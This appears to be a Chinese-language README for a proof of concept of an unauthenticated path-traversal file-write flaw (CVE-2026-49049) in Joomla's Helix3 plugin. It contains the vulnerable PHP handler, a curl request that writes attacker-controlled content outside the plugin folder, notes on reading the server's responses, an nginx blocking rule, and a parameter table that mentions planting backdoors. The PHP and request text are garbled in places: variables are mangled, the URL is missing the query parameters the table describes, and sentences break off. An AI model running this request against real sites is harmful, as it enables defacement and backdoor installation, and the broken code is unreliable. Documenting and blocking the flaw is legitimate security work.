该存储库包含针对 CMS Joomla 的 JoomShaper 过时模板框架 Helix3(版本 1.0 至 3.1.0(含))中发现的严重漏洞 CVE-2026-49049 的相关材料、技术分析和概念验证 (PoC)。
该漏洞正在被自动化僵尸网络积极在野外利用(特别是在 AntonKill 破坏活动中)。
问题出在 Joomla 的系统 AJAX 处理器 (com_ajax) 上,它调用了 plg_ajax_helix3 插件中的 onAjaxHelix3() 方法。组件开发者未考虑:
layoutName 参数时的路径遍历验证。public function onAjaxHelix3() {
\$input = Factory::getApplication()->input;
\(data =\)input->post->get('data', [], 'array');
\(action =\)data['action'];
\(layoutName =\)data['layoutName'];
// Отсутствует проверка прав! Отсутствует фильтрация пути!
\$filepath = \(layoutPath .\)layoutName;
switch (\$action) {
case 'save':
// Запись контролируемых данных в произвольную директорию сервера
fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
break;
}
}
为了验证漏洞,使用内容类型为 application/x-www-form-urlencoded 的 POST 请求。这种参数封装方法对于演示漏洞最为有效。
curl -sk -X POST \
'https://target.com' \
-d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'
在进行渗透测试时,服务器可能会返回不同类型的响应。对这些响应的解读至关重要:
服务器响应:
{"success":true,"message":null,"messages":null,"data":[]}
解读: 插件存在漏洞,无操作系统限制。文件已成功创建在网站根目录,可通过 https://target.com 访问。站点需要立即清理和隔离。
服务器响应:
{
"success":false,
"message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
"messages":null,
"data":null
}
解读: 部分成功。 Helix3 插件逻辑被破坏——它未经认证就接受了数据,并尝试打开文件进行写入 (fopen)。然而,Linux 操作系统阻止了此操作,因为 Web 服务器用户(例如 www-data)没有对网站根目录的写入权限。
服务器响应: 状态码 404 Not Found、403 Forbidden 或空响应 []。
解读: 插件已更新到安全版本(3.1.1+,其中添加了身份验证检查),或已从 CMS 中完全删除。
plg_ajax_helix3 插件。if (\(request_method = POST) { set\)test "P"; }
if (\$arg_plugin = "helix3") { set \(test "\){test}H"; }
if (\$test = PH) { return 403; }
免责声明:本材料仅供教育目的和合法的系统安全审计(渗透测试)使用。作者对不当使用所提供信息的行为不承担任何责任。
| 参数 | 值/示例 | 对服务器的含义 |
|---|
option | com_ajax | Joomla 处理 AJAX 请求的入口点。 |
plugin | helix3 | 系统标识符,强制 Joomla 将控制权传递给易受攻击的 Helix3 插件。 |
format | json | 指示引擎以 JSON 格式返回响应。 |
-d | data[...] | 请求体(表单数据),由 PHP 自动解释为全局 $_POST 数组。 |
data[action] | save | 代码中的 switch 切换。指示插件调用 写入(创建)文件 函数。 |
data[layoutName] | ../../../../../../../example | 关键攻击向量(路径遍历)。../ 字符强制操作系统从插件的隔离文件夹跳出到网站根目录。插件会自动添加 .json 扩展名。 |
data[content] | {"probe":"test"} | 有效载荷。实际写入所创建文件 example.json 的文本数据。在真实攻击中,会注入恶意破坏代码或后门。 |